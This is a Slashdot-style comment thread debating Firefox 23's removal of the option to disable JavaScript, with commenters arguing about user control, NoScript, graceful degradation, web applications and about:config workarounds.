Just a typical release: More steps back than forward, major version number increase. Mozilla's just shooting out more reasons to *not* use their browser. Mozilla lost their sanity and common sense years ago.

Re:Nothing new...

[Anonymous Coward]

Which of course leads to the question: which browser to use instead? Which "better" (by your criteria) non-commercial browser out there is a viable alternative?

Re:Nothing new...

[Arker]

I am not the poster you were referring to, but I concur with him that Mozilla went completely insane years ago.

And unfortunately I dont have a good answer to your question. Chrome is absolute trash. Opera was once great but isnt so great anymore, and is becoming Chrome next release anyway. On Windows, IE is awful but probably the best of a bad lot. But I tried and found that I really could not replace Firefox with it even there.

Of course the Firefox I use is pretty thoroughly reworked using extensions. Noscript, tree tabs, image zoom, https everywhere, status4evar, etc. Without the extensions, firefox would be the worst browser around, but with the right extensions (and extended support release,) it's still the best of a very poor lot. But it's obviously getting worse every release. ESR is only delaying the inevitable.

If only they'd make some of the other stuff easier

[seebs]

For instance, why do I have to manually prevent web pages from doing things like hiding the UI elements which permit me to verify whether they're phishing sites?

As long as NoScript keeps working, I'll probably be fine.

Re:Web sites that require java script are broken

[Algae_94]

Google Docs could be written to be a native app that access data from Google servers. There's pluses and minuses to both approaches. Anyone that is willing to tic the box and turn of Javascript should be aware that an app like Google Docs will require it on. I'd like to see some data on the number of people that turn this off and really can't figure out why things aren't working right.

Your needs aren't those of most

[sjbe]

Perhaps in your tiny universe, but in mine I use it a lot.

"My tiny universe"? Hardly. Very very very few people ever touch that particular option. I'm 100% confident that the folks at Mozilla have copious data to back me up on this. Some people do use it but it is a miniscule minority. If you want it re-enabled I'm sure someone will write an extension to do just that if they haven't already. In the meantime for the 99.9% of users who will never touch that particular option it is a waste of valuable screen real estate and a source of confusion and possibly problems. It certainly fails the mom test badly. Your typical tech illiterate (who vastly outnumber anyone reading this) isn't going to even know what Javascript is much less why or when they might care to disable it completely within a browser.

Beside completely disabling Javascript is the very definition of a crude solution. Noscript solves most problems far more elegantly.

Re:Your needs aren't those of most

[Obfuscant]

In the meantime for the 99.9% of users who will never touch that particular option it is a waste of valuable screen real estate

It's one line in a menu page that is, by default, half empty to start with. wow, such a waste of "valuable screen real estate".

Your typical tech illiterate (who vastly outnumber anyone reading this) isn't going to even know what Javascript is much less why or when they might care to disable it completely within a browser.

So, obviously, this is a reason to keep everyone from being able to disable it. Sure.

Beside completely disabling Javascript is the very definition of a crude solution.

You think having to install some plugin to stop javascript from being executed is a better solution than just having the browser itself ignore javascript? This demonstrates the twisted thinking that modern "web developers" have.

What has our trade come to

[Anonymous Coward]

That's because it was a shit model. Clear, yes, simple yes, all that useful for doing stuff, not so much.

Just today I had one web site needing Javascript just to present a fucking list of addresses. Six of them.

Web monkeys these day can only accomplish whatever they framework tells them to. It's a sad state of affairs.

Yeah, focus is slipping

[Medievalist]

they're trying all kinds of stupid shit and this "the user is a stupid dolt" move from them is just the latest dick move

Disrespecting the end user is one of the stages of software development team meltdown.

Re:Yeah, focus is slipping

[rnturn]

Dammit... I commented so I can't mod this up.

Re:Yeah, focus is slipping

[Anonymous Coward]

Obscuring a relatively prominent feature that unknowledgeable users accidentally click, thus "breaking the web" for them, is not condescending. Please stop perceiving slights and insults everywhere.

Re:Yeah, focus is slipping

[Arker]

"Disrespecting the end user is one of the stages of software development team meltdown.'

Well do tell us the other stages, hopefully this is near the end?

Because I sure see a lot of it these days. Might we see every commercially significant software development team meltdown in the very near future? Please?

Because I have a feeling complete meltdown is necessary before anything gets better.

Re:Yeah, focus is slipping

[gottabeme]

Eh, I don't know, it's worked well for Apple so far.

I agree with you, of course. Mozilla's "gone corporate", and now it looks like they're starting to circle the drain, just like Google. Time for Iceweasel to shine.

By the way, what are the other stages?

Re:Yeah, focus is slipping

[Svartormr]

they're trying all kinds of stupid shit and this "the user is a stupid dolt" move from them is just the latest dick move

Disrespecting the end user is one of the stages of software development team meltdown.

For another example, take a look at GNOME.

Dear Firefox,

[Anonymous Coward]

Fuck you.

Signed,

Users Who Remember Why Firefox (nee Phoenix) Was Started: Stupid Shit Like This In Mozilla..

what about the cache?

[excelsior_gr]

Nevermind JS. Did they fix the cache problems already?

Re:what about the cache?

[gottabeme]

The what?

Re:what about the cache?

[MrL0G1C]

2nd that, what cache problems?

Firefox works so well IMO that the worst that can happen is whatever Mozilla does to it to dumb it down. Perhaps they should stop and look at who is actually using, recommending and installing their browser.

Re:what about the cache?

[excelsior_gr]

I run Firefox 21.0 in Win8 and websites suddenly start to render like shit after the 2nd or the 3rd visit. The situation is remedied when the cache is cleared from the "clear recent history" menu. But after some time, the problem reappears. I set the cache size to a very small value so that practically nothing fits and nothing is saved, which is obviously a lame thing. The problem also cost me quite a bit of time before I figured it out. So there.

For the record, I like Firefox, but I find fast release schedules to be a totally retarded thing. I find myself updating less often because the chance of the next release being a crappy one is higher. I had a similar experience with VLC.

Re:what about the cache?

[MrL0G1C]

This Bug?

https://bugzilla.mozilla.org/show_bug.cgi?id=820259

Filed 1/1/2013, so worth adding your voice or seeing if there's any commonality between your setup and others who get the bug, doesn't look like it though as the submitter was using Linux.

Wrong solution to a non-problem

[Dracos]

Last I checked, about 1.5% of Internet users disabled Javascript (in the late 90s, this was about 10%). The average user doesn't know what Javascript is, nor do they deliberately disable it. If a site "breaks" because JS is disabled, it's debatable who's fault that is, the developer(s) or the user. Even in today's reality, JS is a de facto requirement.

That 1.5% deliberately chooses to disable JS, whether their reasons are valid or loony. Removing the ability to do so does a disservice to the informed; the ignorant will be unaffected.

Re:Wrong solution to a non-problem

[Arker]

No, actually, it's not debatable at all. That's nonsense. If you dont know how to use a noscript tag you are INCOMPETENT. If you know how, but dont always do so, it's probably your bosses that are incompetent. Whether the average user is smart enough to turn off their javascript (or tie their own shoelaces) is entirely irrelevant and beside the point.

dumb, maybe a face-saving move?

[Anonymous Coward]

Today there are a lot of programmers of the opinion that if the user has JavaScript off then its their own fault and consuming the page without JavaScript is as silly as trying to consume it without HTML

Yes, but those programmers are morons. Why legitimize their bizarre take on things? Most of the web works great without javascript, so disabling javascript is usually a safe thing for users to do.

I suspect what's going on, is that someone on the FF team made a page can't handle javascript not being there (and didn't bother to at least <noscript> Turn on javascript to use this fancy ajax app </noscript>) and so they looked bad. This made them embarrassed so they're trying to recast the situation as being that javascript is necessary for today's web. If they can sell this lie, then they retroactively didn't make a dumb mistake on their page.

Re:dumb, maybe a face-saving move?

[Arker]

"Yes, but those programmers are morons. Why legitimize their bizarre take on things? Most of the web works great without javascript, so disabling javascript is usually a safe thing for users to do."

The worst that can happen from disabling javascript is that incompetently coded sites will fail.

On the other hand *enabling* javascript opens you up to lovely drive-by infections, as well as many other, more subtle, dangers.

This isnt all false

[Arker]

"It seems that Firefox 23, currently in beta, has removed the option to disable JavaScript. Is this good for programmers and web apps? Why has Mozilla decided that this is the right thing to do? The simple answer is that there is a growing movement to reduce user options that can break applications. The idea is that if you provide lots of user options then users will click them in ways that aren't particularly logical. The result is that users break the browser and then complain that it is broken. "

It's sad but true that there is indeed some truth to this. Computer illiterates are a significant portion of the population and anyone that offers them free support with any product is digging their own grave because these people can break anything.

But this thinking can easily go too far. Make a computer that a computer illiterate will not be able to break, and it will also be a computer that the rest of us find unbearable. And while there is still a good deal of computer illiteracy to be dealt with, the trajectory on that should be down, not up.

"For example, there are websites that not only don't work without JavaScript, but they fail in complex ways â" ways that worry the end user. "

These websites, however, need to quit pointing fingers and fix their damn webpages!

The level of slop that 'web designers' have been churning out for decades is their own damn fault. Better than removing the option to turn off javascript would be removing the option to turn it on.

"Hence, once you remove the disable JavaScript option Firefox suddenly works on a lot of websites. Today there are a lot of programmers of the opinion that if the user has JavaScript off then its their own fault and consuming the page without JavaScript is as silly as trying to consume it without HTML."

These 'web designers' are the silly ones. If turning off javascript breaks your webpage then your webpage is broken, simple as that. Graceful degradation is a mandatory feature here, and trying to push your own incompetence back on the customer is reprehensible.

noscript

[Barefoot Monkey]

Anyone writing a javascript application should know to add a <noscript> tag to the page embedding the scripts.

<noscript><p>This page is built using Javascript, but it seems that you have Javascript disabled on your browser. Please enable Javascript and refresh this page to continue.</p></noscript>

I think that's a much more robust approach. The user understands what's going on, and you don't have to rely on every browser preventing Javascript from being disabled.

does anyone use the browser disable JS option?

[javajeff]

I use noscript. I assume this will not affect third party tools unless I am missing something.

Then again, maybe not.

[westlake]

Apple and Google need to reduce options because they have to appeal to the clueless masses. You do not.

The primary source of funding for the development of Firefox is the add click. Firefox will survive only for so long as the "clueless masses" support it.

Re:Then again, maybe not.

[gottabeme]

Google is the primary source of funding for Mozilla. If Mozilla dies, Ff will be forked and will live on, just like Netscape was forked.

...arrogant shits...

[Anonymous Coward]

Today there are a lot of programmers of the opinion that if the user has JavaScript off then its their own fault and consuming the page without JavaScript is as silly as trying to consume it without HTML."

What a bunch of arrogant shits they are then.

I spent 4 of the last 5 years as a web developer, yet I was under the impression that the purpose of a website was to get your message or functions across to as large a user base as possible. You try to make your site accessible across as many browsers as possible (though IE7 will drive anyone to extreme measures at times), you account for screen readers and other accessibility technologies (proper use of alt etc.) and you use as few client side scripts as absolutely possible because they rely on the users configuration, which can vary.

But maybe these programmers only appear to be knob-heads - maybe they are aware of some new purpose of websites that require us to exclude as many users as possible based on arbitrary preferences of our own...?

Breaking Applications...

[consumer_whore]

Breaking applications is the very reason why I disable it. Most sites I use are sensibly programmed, but every once in a while I come across a site so bad it needs to be shut off.

Never without my permission.

[Anonymous Coward]

A blog or a news story is not an application; It's a fucking static page. It doesn't need javascript. If it does, you are doing it wrong. Now get off my lawn, avoiding the mines and barbed wire.

Sigh. I prefer to block javascript..

[toonces33]

My main beef is that I may have 30-40 tabs open, and find the browser consuming 50% CPU on the laptop - all because of misbehaving javascript that runs and performs useless updates in the background. And firefox doesn't make it easy to figure out which tab is the culprit, so you just have to start killing them at random until the CPU usage goes down. At least until you learn from experience which websites have the offending javascript.

On many web sites I use the javascript is gratuitous. Eye candy and whatnot, or huge scripts to manage useless comment systems that I never use.

And why do I care? It makes the machine sluggish and burns through the laptop battery more quickly, and the laptop runs hot.

But Firefox can do what it wants - I still use noscript and adblockplus to selectively block scripts.

Told ya.

[Anonymous Coward]

One of the reasons I don't use Firefox.

They have become just as much a security threat as I.E.

Idiocracy

[Anonymous Coward]

Here we come!

Cache poisoning.

[reluctantjoiner]

It's spelled "cache" but pronounced "cash" or "cayche".

Re:Cache poisoning.

[gottabeme]

Cash, eh?

Why not do like M$ with Win8

[Anonymous Coward]

How long ago did they disable the START menu for some n00bish developer idea.

Seems like Mozilla is following in their footsteps in giving users less options and less control. Any argument on having the option in about:config is stupid and not different from those who suggested some software to fix Win8 mess-up.

Lazy Programmers

[musicon]

I'm sorry, but the statement

Today there are a lot of programmers of the opinion that if the user has JavaScript off then its their own fault and consuming the page without JavaScript is as silly as trying to consume it without HTML.

is asinine. It's not difficult to put a noscript tag with a reasonable explanation for clients. All production sites should have graceful fall-back for accessibility and other client issues anyway.

Firefox infected with the Canonical Virus?

[zapyon]

Dumbing down software to "help" the unexperienced users is a good idea? Oh my god! Will they ever learn?

It's common for a reason

[Anonymous Coward]

Starting with an empty body tag and selectively loading the content via javascript is a solution that scales.

It's proven to reduce bandwidth usage and improve load times.

Progressive enhancement rarely worked and even more rare was when it worked well.

Semantic HTML *IS* a good thing and we should absolutely be using it but we shouldn't take away the achievements that have been made with Javascript.

Re:This is *NOT* what Apple does.

[betterprimate]

This is not what Apple does. Safari has an option in the main preferences pane to enable "Show Develop menu in menu bar". For the past several years, Safari's developer tools have been the most advanced. Other browsers, especially Chrome, have mimicked their GUI and toolset albeit as a dumbed-down implementation.

NoScript is for porn surfing

[popo]

Didn't you know?

The original article has an attribution error

[tlambert]

Why is this a thing?
Why must we dumb down everything?

It was Ian Elliot that assumed that the decision was made to "dumb things down", and you are foolish for buying into this idea and perpetuating it.

The simple answer is that portions of the UI in Firefox itself are written in JS, and that JS is an integral part of the Firefox OS platform, and are necessary to supporting its application marketplace.

Consider how useless Android would be if you could disable Dalvik ("Java") on the platform: the UI wouldn't even work at all.

By removing the option to turn of JS directly, and forcing you to use NoScript or a similar plugin if you want to disable it yourself, you get to be responsible for any breakage that occurs, while they get to have a taller base platform on which to build better and more complex applications and innovate in their UI. That it allows web sites with JS content to function by default as well is just a bonus, not the primary driver.

Re:The original article has an attribution error

[gottabeme]

Who is clamoring for a Firefox application marketplace? Mozilla? I thought so.

Who is clamoring for Firefox to be Firefox? The users? I thought so.

Re:This is *NOT* what Apple does.

[raque]

Yes it is, but not without some thought. From the limited controls and feature set of the new Airport Utility to hiding the /Users/~/Library folder Apple has removed options that users kept tripping over. The fact the you need to start a special Developer Menu just proves the point. This may not be a bad thing. Anyone who has worked help desk has stories of the damage done by those who had the mistaken impression they had a clue what they were doing.

You'll note that the ability to view the source of a page isn't right there up front anymore in any browser that's the same sort of thing. You still can if you want, but you have to find out how.

 

Wow. What an arrogant dork.

[Anonymous Coward]

The folly is assuming that the internet is still all "web pages" instead of applications. There are plenty of useful web applications around, and I develop one of them. There isn't a non-Javascript alternative to it, it has around 1.5MB of (unminified) Javascript code written by us

I'm the user. I pick and choose. Chances are... I won't choose "your" app. I decide what's useful to me.

I hear that sentiment periodically. It's complete bullshit. Google's services are the obvious screaming example of useful Javascript.

I decide for myself whether it's bullshit -- not you. Googleplus javascript-only? No googleplus for me. Plain and simple. I've had a peek into Google's web bug at the time it still was called "urchin.js". Useful? To them perhaps. To me: disgusting.

No, I won't run your random crap on my computer. My decision.

Re:Wow. What an arrogant dork.

[amicusNYCL]

I'm the user. I pick and choose. Chances are... I won't choose "your" app. I decide what's useful to me.

That depends. Our application installations aren't public, they are purchased by other companies and organizations for their users. If you're our customer you can certainly choose us, or not. If you're one of our customers' users then they already made that choice for you, and you can choose to either take your employer's required training online, or not. If you choose not to, then you won't be their user much longer. I'm sure they will be impressed with your personal morality when you explain that the reason you aren't trained is because you don't want to execute Javascript in your browser.

Re:Web sites that require java script are broken

[silas_moeckel]

Google docs I would give more leeway but that's an exception not the rule and contains no content (last I checked everything could be bought local as a file). Take something like facebook no useful thing that requires JS but hell the site still does not render correctly on a large monitor without outside "help".

Mozilla Firefox is just following Google's Chrome

[bussdriver]

As long as No Script and about:config exist I don't care - most intermediate level users I know use Chrome - I can't stand it - I know how to use all these options and I don't like having them taken away.

Remember that bunch of arrogant idiots

[someones]

Remember that bunch of arrogant idiots working on the desktopsystem GNOME?
Does anyone see the similarity?
"Users are idiots and are unable to use complex things, so lets dumb it down, so every one can use it".

Well see where they ended: Pretty much noone cares about them anymore.

Insane idea

[Anonymous Coward]

There are websites that one can only 'leave' during a Firefox session by disabling Javascript first. You can (very stupidly) argue that users shouldn't visit such websites in the first place, but until Firefox places HARD, non-over-ridable functions into its tab handling system, the only simple way to escape a malicious site (without killing the entire Firefox session) is by disabling javascript until that site's tab is closed down.

This idea is as cretinous as the removal of the 'stop' button that acted to 'freeze' the current state of a web-page. Again, while cretins argue such functionality should not be needed, there are rare pages that produce the content you want to read, but then- unless stopped- generate an 'error' and auto-clear the frame. Only by 'stopping' the page refresh immediately after the desired content appears can a user get to read that content.

Yes, idiots, we all know in an ideal world, nothing ever goes wrong, and everything just works as intended. However, the real world is NOT like this. A 'bad' solution is infinitely better than no solution at all. The 'stop' button and disabling javascript are the very definition of necessary evils.

Or, are we arguing that matches should be illegal, because a few people use them in acts of arson? It is NOT for the dribbling chumps that oversee the development of Firefox to take a '1984' approach to the ability of users. "For your own good" is a despicable and disgusting attitude.

You can turn it off with 'yesscript'

[blogagog]

I use the 'yesscript' addon to disable javascript on certain pages in Firefox. It still works in version 23 beta. I assume so does 'noscript' which turns it off on all pages by default.

Seamonkey

[Anonymous Coward]

FTW!!

Weeelll...

[Arancaytar]

And here I thought that after what NoScript pulled I'd never be installing it again.

Huh?

[Arker]

"An add-on to block 3rd party Javascript would be a nice alternative NoScript which requires a lot of whitelisting to be useful. Almost all advertising related Javascript is from off-site."

Noscript does this. "Temporarily allow top level sites by default" right up at the top of the general tab in noscript options. If you go to www.foo.com scripts originating from foo.com are parsed, scripts referenced from third party server adsurge.bar.com are simply ignored. It's a thing of beauty.

There's always a choice...

[guevera]

...it may not be a good one, but there's always a choice. You can move the company to Iceland and tell the NSA to suck it. It's not a good, practical, or wise choice, but it's a choice.

Re:There's always a choice...

[Anonymous Coward]

...it may not be a good one, but there's always a choice. You can move the company to Iceland and tell the NSA to suck it. It's not a good, practical, or wise choice, but it's a choice.

Because an island in the North Atlantic has absolutely no transatlantic fiber running to the USA/NSA and to the UC/GCHQ, and no packets to US-launched comsats. Iceland's email traffic is all IPoF (IP over Faery).

Re:There's always a choice...

[thunderclap]

faery? That explains alot as to why the fae are always pissed at us.They have to do all the leg work carrying all those bits at supersonic speeds.

the sad part is...

[Anonymous Coward]

since I already left the firefox upgrade treadmill long ago,
I can't leave firefox for this now :-/

but if I would have thought about getting ff 23 then
this would have stopped me! I quite often turn on javascript
for pages that sadly needs it. To go search in about:config
when I need to turn on javascript (and off again after)
multiple times a week would be horrible.

But sadly mozilla already left me, so one more destruction of
the program doesn't matter really.

Bookmark about:config?filter=javascript.enabled

[Anonymous Coward]

Name it "JS" and put it in your bookmarks toolbar. Problem solved.

Re-sending everything that hasn't changed

[tepples]

And tell me, why do we need DOM manipulation? Why can't sites just send fucking

They can. You just have to turn off your censorware.

static content?

Without DOM manipulation, the page has to completely reload every time new information arrives or every time the user decides to collapse or expand a portion of the page. Sending 2 kB of things that have changed on a 100 KiB page takes far less time than sending 2 KiB of things that have changed and 98 KiB of things that have not.

Re:Re-sending everything that hasn't changed

[bingoUV]

But 97 KiB of the 100KiB page is the javascript to do the sending of 2KiB. *Ducks*.

Bookmark about:config?filter=javascript.enabled

[Anonymous Coward]

Name it "JS" and place it in your bookmarks toolbar. Problem Solved.

Reloading text that has not changed

[tepples]

This web2.0 stuff sucks. I want something to keep an all text web around.

Comments to this Slashdot story are text, yet Slashdot allows the user to interact with their presentation. Would you want to have to reload all 459 (textual) comments to this discussion just because you're previewing your own (textual) comment or just because you're collapsing or expanding an existing (textual) comment?

Re:Reloading text that has not changed

[Anonymous Coward]

Isn't that how it used to work, before they decided to turn it into a heap of javascript driven slowness?

Circumvent certain platforms' entry barrier

[tepples]

If you don't like what HTML, CSS, etc model and want your stuff to behave like an application... then write a fucking application instead!

Provided that the operating system's publisher will even let a particular developer develop for that operating system. There's a substantial entry barrier to developing an application for iOS, Windows Phone, or the game consoles, and a web application is one way to circumvent this. That and the fact that Chrome OS uses the HTML DOM as its "application" API anyway.

Bookmark about:config?filter=javascript.enabled

[Anonymous Coward]

Name it "JS" and place in the bookmarks toolbar. Problem solved.

JavaScript to obfuscate e-mail addresses

[tepples]

Just today I had one web site needing Javascript just to present a fucking list of addresses. Six of them.

I've seen scripts that (attempt to) protect e-mail addresses from spammers' scrapers.

Re:JavaScript to obfuscate e-mail addresses

[xenobyte]

I've seen scripts that (attempt to) protect e-mail addresses from spammers' scrapers.

Doesn't work much anymore. Scrapers have been known to Google the page they're scraping if it contains javascript because Google actually runs the javascript before creating the preview which means the email addresses are available in cleartext from the Google preview.

disable JS

[zeroryoko1974]

As long as No Script+Ad Block still work, I don't care what they do with built in Java settings.

Reading an article vs. reading a section

[tepples]

The web page should not be a stub that loads the article content via JS. The article text should be there already.

Should the article's text be there, or should the article's first section's text be there? Some devices make it painful (in transmission charges, transmission time, or user interface) to load or to read an entire article, instead preferring interaction models that present a section at a time.

508 and ADA

[tepples]

As soon as there are laws allowing people to sue for inaccessible websites (and there will be such laws), then this problem will be fixed.

What country are you in? In the United States, companies that do business with the United States Government are subject to Section 508 of the Rehabilitation Act. And after a few preliminary rulings, Target pleaded liable in an Americans with Disabilities Act class action: National Federation of the Blind v. Target Corporation .

Re:508 and ADA

[phantomfive]

Sweet, thanks for the info. I've been trying to convince people at work to make our products accessible. This will help.

really Firefox??? really???

[josepha48]

so because some web site can't code a noscript tag we have to open up a security hole in the browser? I guess the noscript plugin may gain popularity because of this

If paywalls are the alternative

[tepples]

I think the goal of an advertiser is take anything cool and useful and shit all over it.

Would you rather see most web sites end up behind a paywall in order to pay the bills?

Re:If paywalls are the alternative

[amicusNYCL]

No. Good thing there aren't only 2 options.

3 May or March 5?

[tepples]

Sure, I like calendars that are clickable. But I don't have to have them, just let me enter the god damn date and accept several different formats

What's the best practice for parsing "several different formats" on the first try in the server side of a web application? For example, does 3/5/2014 mean 3 May or March 5? What month is "luglio"? The web applications that I have developed take ISO 8601 (YYYY-MM-DD) input, and users with script turned on also get a button to show a calendar control in case they do not understand ISO 8601.

it seems that I get far fewer virus infections than many people that just blindly turn it on.

I get a similar effect by just making SWF click-to-play and not browsing pornographic web sites or web sites devoted to sharing infringing copies of proprietary commercial software.

Re:3 May or March 5?

[Anonymous Coward]

Very few probably know of ISO 8601, but almost everybody should understand how to enter the date if you spell it out like "year-month-day" and maybe add an example.

It costs money to refresh a page

[tepples]

No, that's a pretty HTML view of web browsers. Web browsers aren't "the internet".

Nor are web browsers only HTML. They are also images. They are also CSS. They are also video. And they are also script, so that the difference between a document before a user-requested change and the same document after said change can be transmitted efficiently.

Oh, my, the page refreshed. How awful.

When users' Internet connections are billed by the bit, it costs money to refresh a page once for every user interaction. Satellite and cellular Internet connections are still billed by the bit in 2013.

Re:It costs money to refresh a page

[bingoUV]

When users' Internet connections are billed by the bit

I wish you were right. And javascript was being used for reducing bandwidth requirement. Facebook doesn't use browser's cached image if page is opened again, it gets it from the server - can you believe this? I couldn't initially, but then I confirmed and had to believe.

The death of Firefox

[gelfling]

This will kill them. Why? Javascript is killing the net. We would grit our teeth when we had to turn on 2 layers of script to print or comment. Then it became 3 or 4 or 5 or even 6 layers of "temporarily allow all..". And now there are websites that won't even DISPLAY w.o. Javascript running. And it crushes most laptops because web designers are handed a stack of requirements that tell them to turn on 30 or 40 or more Javascripts.

For once I'm glad my company is so backwards we use v17.

I Don't Give A Damn...

[Jane Q. Public]

... whether it is "a growing movement". It's the user's browser. Let her turn off JavaScript if she wants.

Note to programmers (and keep in mind I am one): you don't own people and their browsers. If you try to lock them in, they'll struggle against you and you'll end up losing business.

Bonehead move, Mozilla. Put it back.

What about browsers that dont support javascript

[Anonymous Coward]

I still use lynx frequently, and i really appreciate when a site is nicely accessable from lynx. With this kind of move what will happen to browsers like lynx which is still one of the only ways to go when loading webpages in console.

IE 8 can't do certain effects in pure CSS

[tepples]

What I think most people are upset about (here I go making assumptions) is pages of content that don't need Javascript which are designed to require Javascript for one reason or another — usually either as a means of forcing advertisements on viewers, or because it's easier than doing the same thing in CSS, even though that is completely possible.

That or because CSS can't do certain effects in Internet Explorer pre-9. Until April 2014, you have to support IE 8, and if your market includes certain parts of East Asia, you have to support IE back to 6.

Distinction without a difference

[Uberbah]

ActiveX is a self describing plugin system which allows an application to load and potentially use a plugin without any prior knowledge, EXACTLY like XPCOM in Firefox. Again, they are 100% functionally the same. Internet Explorer had retarded defaults

And how did end users get the majority of their ActiveX widgets? Through Internet Explorer. Your argument makes sense - from a pedantic programmer's perspective. From an end user's perspective (and those of us who have had to clean said users computers), though, it's a distinction without a difference.

Cross-platform applications

[tepples]

There's a difference between a document and an application, and I damn well would prefer that difference to remain.

Then what application format would you recommend for an application intended to work on multiple PC, mobile, and set-top operating systems?

Re:Cross-platform applications

[X0563511]

Gee, maybe you should use a cross-platform one! Let's have a list of some possibilities off the top of my head: Java, Python, Perl, Ruby. That's a decent sized list for a non-programmer to be able to pull out of his rear, and the first two are pretty damn powerful and there's no reason the environment to support them can't be present on these systems. That you can force the 'web' to do it doesn't mean you should and is not an excuse for their leaving embedded systems poorly equipped.

Re:Cross-platform applications

[tepples]

Java, Python, Perl, Ruby.

How does one run programs written in these languages on iOS, on Windows Phone, and on game consoles? I've heard of PythonForIOS, but I'm not aware of it having any graphical user interface toolkit because then it would compete with Apple's App Store.

Re:Cross-platform applications

[X0563511]

Artificial limitations pushed down by the vendor. That's not the technology's fault, it's part of the problem.

Re:Cross-platform applications

[tepples]

Artificial limitations pushed down by the vendor. That's not the technology's fault, it's part of the problem.

The developer of an individual application cannot fix this problem. Instead, to gain and retain users, a developer must work around this problem, which means developing a web application either in addition to or instead of a native application.

What alternative to script navigation?

[tepples]

Most sites that are unusable without javascript could have easily been coded to be usable. Are drop down menus really so critical?

How do you recommend that users navigate to another subcategory of a web site without script and without multiple large page loads? For example, consider a product category tree that uses script to allow users to expand and collapse categories. I'm open to your suggestions about interaction models that do not involve 1. JavaScript or 2. resending 198 kB of unchanged text just to change 2 KiB.

To eliminate one page

[tepples]

It's one line in a menu page that is, by default, half empty to start with. wow, such a waste of "valuable screen real estate".

Perhaps the goal is to eliminate that page entirely by merging all items on it into other pages.

Re:To eliminate one page

[Obfuscant]

Perhaps the goal is to eliminate that page entirely by merging all items on it into other pages.

Yes, the other options on that page are all anti-web-programmer's rights, too. Fonts, colors, automatically loading images, blocking pop-ups. All things that web programmers want to control and don't want the user to know about. So, probably, this is just one shot across that bow. Get rid of them all. That save SO much valuable screen real estate, for a menu that isn't displayed unless the user asks for it.

That falls right into the paradigm of "my web page must be the only thing you look at", which is enforced by creating a page that does not scale to the user-specified window size but requires full-screen windows to work right.

Response to click in CSS

[tepples]

Lots of page book-keeping, like menus, active page indicators, etc, can be done with CSS.

How do you make a menu appear on click (not on hover) with CSS and without script? Apart from Wacom tablets, I've never used a touch screen that distinguishes a hover from a click.

Maps in Lynx

[tepples]

Anybody whose website failed to work in Lynx was derided as an idiot.

How would you recommend implementing something like Google Maps to be compatible with Lynx?

Re:Maps in Lynx

[Anonymous Coward]

How would you recommend implementing something like Google Maps to be compatible with Lynx?

You wouldn't. That is an application embedded in a web page, not a plain web page.

How many platforms does a native app cover?

[tepples]

Google Docs could be written to be a native app

What format of native apps runs on Windows 7, Mac OS X, GNU/Linux, Android, iOS, Windows Phone, Windows RT, and the major video game consoles?

Re:How many platforms does a native app cover?

[Algae_94]

That would be one of the pluses of the web app approach. I also didn't mention that there would be a single native app for every platform.

Pan and zoom without script

[tepples]

In the vast majority of cases, providing a non-JS experience is not extra work if you're using best practices to begin with.

What's the best practice to pan and zoom a view of an unbounded plane without script? Something like Google Maps would need that.

Gaining users' trust

[tepples]

Unless your site is trustworthy and useful, you DO NOT GET TO RUN JAVASCRIPT.

What's the best practice for a site to demonstrate to users that it is trustworthy?

Take a third option

[tepples]

You claim that web site operators ought to take a third option. Other than advertisements and paywalls, what third, fourth, and fifth options for the revenue needed to sustain a web site did you have in mind?

Re:Take a third option

[amicusNYCL]

Well, if the problem is people blocking advertisements because they get in the way, or they're intrusive, or the advertisers don't respect privacy or whatever, then one option is to find an advertising platform that isn't going to piss people off. There are ads I don't bother to block because they don't get in the way. But advertisers have a way of constantly pushing their shit onto you any way they possibly can, and when it gets to that point then I block them. When I pull up a page and there is a banner ad that is flashing and vibrating or playing audio or whatever, I block that advertiser, close the site, and move on. If they don't want to be blocked, then they shouldn't be a dick about pushing their shit where it's not wanted. Most advertisers don't seem to understand that concept though, all they care about are metrics like "impressions" and "conversions". They don't bother trying to measure how much they irritate people, just how many people click on their shit. That's all that matters, so they get blocked.

Race to the bottom

[Skapare]

For many websites I have to periodically turn Javascript OFF because the developers are just stupid. But in even more cases, it is because the developers are abusive. One such site is a place called images.google.com. But it's not so much what Google codes. Although Google does do tracking abuses using Javascript, I don't really care much about that. The real problem is visiting the sites with the images I find, only to have those sites doing redirects away from the page with the image. Those are what I turn Javascript on an off with. And I even leave the preferences menu open on the side so I can turn it on and off easily.

What the Firefox developers should do is move the button to turn Javascript on and off up to the front panel with all the other instantly reachable buttons. With it right at the front, then there won't be so many problems.

But yet again, Firefox developers continue to try to force people to continue using older versions. Now we have an even stronger reason to do just that.

Uh, just use Seamonkey

[Bing Tsher E]

If you are as tired as some of us are with the Firefox folks stripping functionality out of the Mozilla browser, why not use SeaMonkey instead? For those who don't know of it, SeaMonkey is a Mozilla fork that includes the whole 'classic' Mozilla/Netscape Suite. It has the Browser/Composer/Email/News bundle in one interface. It also will run most Firefox plugins (or Seamonkey versions thereof) NoScript is very easy to install.

I couldn't get by without Seamonkey for the way I interact with the Web. If I encounter formatted HTML on a page that I want to locally capture, I open up a Composer window and cut and past the formatted HTML into a new HTML file and save it locally. The democratic Web is based on a symmetrical web experience: that is, the browser and composer should both be available to all Web users. If you want a web browser where there's an 'Edit' choice in the 'File' menu at the left end of the menu bar, so you can open up a local copy, tweak and save a local copy of most any page you navigate to, you want Seamonkey.

Seamonkey can be explored and downloaded Here. It's available as source or a binary package for most freenixes and a Windows installer.

Firefox 24's release notes

[gottabeme]

"This is not the browser you are looking for."

dear firefox

[smash]

WTF. Seriously, WTF.

Hide the option under about:config if you have to clean up the config UI.

Have you taken on board somebody from Microsoft in recent times who is determined to alienate and destroy your userbase? This isn't the first asshat decision you've made by a long shot in the past 5 years.

Re:dear firefox

[Anonymous Coward]

Hide the option under about:config if you have to clean up the config UI.

Yeah, that's what they've done, as about 100 people have already pointed out.

Re:dear firefox

[smash]

Misleading headline is misleading...

Re:dear firefox

[Anonymous Coward]

Just bookmark about:config?filter=javascript.enabled and put it in your bookmarks toolbar. Problem solved.

Re:dear firefox

[smash]

Wow, that's so much more user friendly!

False dichotomy

[gottabeme]

And unnecessary boldness.

well, version 21 is the last Firefox for me.

[Anonymous Coward]

I use NoScript and have turned off automatic updates after reading about this.

No way I will be forced into using JavaScript, except of the few web pages I personally authorize.

Opera

[Anonymous Coward]

Disabling javascript is still on the F12 menu, two total keystrokes (F12 for the menu, one key to choose the option).

It's too bad they abandoned their rendering engine in favor of webkit. I liked having diversity among the several browsers I run.

Interesting you would mention Gnome

[Burz]

Because this removal of a major feature indicates Mozilla has caught Gnome Disease. And, like Gnome, their usability and popularity will suffer for it.

Not a big problem

[awshidahak]

